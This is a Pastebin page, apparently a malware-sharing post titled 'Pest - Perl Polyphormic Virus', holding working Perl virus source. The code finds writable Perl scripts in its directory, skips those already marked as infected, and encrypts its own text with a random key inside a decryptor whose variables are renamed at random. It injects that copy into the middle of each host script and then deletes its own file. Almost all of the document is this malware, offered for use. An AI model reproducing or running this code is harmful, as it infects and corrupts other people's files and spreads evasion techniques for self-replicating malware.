Advertisement
FlyFar

Pest - Perl Polyphormic Virus

Feb 17th, 2023
1,457
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.85 KB | Cybersecurity | 0 0
  1. open(File,$0);@Virus=<File>;close(File);        # read own code
  2. $Virus=join("", @Virus);foreach $FileName(<*>) {    # get files
  3. if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {   # check file
  4. open(File, "$FileName");@Temp=<File>;close(File);   # open file
  5. if ((@Temp[0] =~ /perl/i ) && ( substr(@Temp[0],0,2) eq "\#!" )) {  # perl file ?
  6. if (( length(@Temp[0]) % 5 ) != 0 ){            # already infected ?
  7.                         # first we generate a decryptor
  8.  
  9. $Key = int(rand(255));                  # cryptkey
  10. $crypttype = int(rand(2));              # how to crypt it ?
  11.  
  12. for ( $X = 0; $X < length($Virus); $X++ ){      # Encrypt it
  13. if ( $crypttype == 0 ){
  14. @Crypt[$X] = (ord(substr($Virus, $X, 1))) * ($Key); # Multiply
  15. } else {
  16. @Crypt[$X] = (ord(substr($Virus, $X, 1))) + ($Key); # Addition
  17. }
  18. }
  19.  
  20. $connectit = chr(int(rand(25)+65));
  21. $VirString = join($connectit, @Crypt);          # all values get seperated by a !
  22. $filename  =  chr(int(rand(25)+65));            # random filename to put virus to
  23. $filename .= int(rand(65535));
  24.  if ( int(rand(2)) == 0 ){
  25.   @Vir[0] = "\$l1l = \"$VirString\"\;";
  26.   @Vir[1] = "\$11l = $Key\;";           # key to decrypt
  27.  } else {
  28.   @Vir[0] = "\$11l = $Key\;";           # key to decrypt
  29.   @Vir[1] = "\$l1l = \"$VirString\"\;";
  30.  }
  31.  @Vir[2] = "\@ll1 = split(\"$connectit\", \$l1l)\;";
  32.  @Vir[3] = "for ( \$lll = 0\; \$lll < (\@ll1)\; \$lll++ ) { ";  # Decrypt Loop
  33.  
  34.  if ( $crypttype == 0 ){
  35.   @Vir[4] = " \$l11 .= chr(\@ll1[\$lll] \/ \$11l)\;";   # Decrypt Char
  36.  } else {
  37.   @Vir[4] = " \$l11 .= chr(\@ll1[\$lll]-\$11l)\;";      # Decrypt Char
  38.  }
  39.  @Vir[5] = "}";
  40.  @Vir[6] = "open(1l1, \">$filename\")\;";       # write encrypted
  41.  @Vir[7] = "print 1l1 \$l11\;";         # string to a file
  42.  @Vir[8] = "close(1l1)\;";
  43.  @Vir[9] = "\$lll = \`perl $filename\`;\n";     # and start it
  44.  
  45.                         # change variables
  46.                         # $Virus File @Virus $X  $Key $Vir
  47.                         # l1l    1l1  ll1    lll 11l  l11
  48. @vars = ("l1l", "1l1", "ll1", "lll", "11l", "l11"); # replace the variables
  49. foreach $replace (@vars){
  50.  $newVar = chr(int(rand(25)+65));           # with a letter
  51.  $newVar .= int(rand(65535));           # and a random number
  52.  for ( $b=0; $b < @Vir; $b++){
  53.   @Vir[$b] =~ s/$replace/$newVar/g ;
  54.  }
  55. }
  56.  
  57.  
  58. do {
  59.   chomp @Temp[0];
  60.   @Temp[0] .= " \n";
  61. } until((length(@Temp[0]) % 5) == 0 );
  62.  
  63.  
  64. open(File, ">$FileName");           # and write the infected
  65. $Temp = join("\n", @Vir);
  66.  
  67.  
  68. for ( $X = ( (@Temp) >> 1 ); $X < @Temp; $X++ ){
  69.   if ( @Temp[$X] =~ "\;\n" ) {      # insert virus in the middle
  70.   $Temp2 = join("", @Temp[0..$X]);      # write first part
  71.   print File $Temp2;            # and virus
  72.   print File $Temp; $X++;
  73.   $Y = (@Temp);
  74.   $Temp2 = join("", @Temp[$X..$Y]);     # insert rest of the file
  75.   print File $Temp2;
  76.   goto CloseFile;
  77.  }
  78. }
  79.  
  80.  $Temp2 = join("", @Temp);          # no possibility to insert virus
  81.  print File $Temp;              # file back to disk
  82.  print File $Temp2;             # without EPO
  83.  
  84.  
  85. CloseFile:
  86.  close(File);
  87. }}}}
  88.  
  89. $a = `rm $0`;               # delete our selves..
  90.  
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement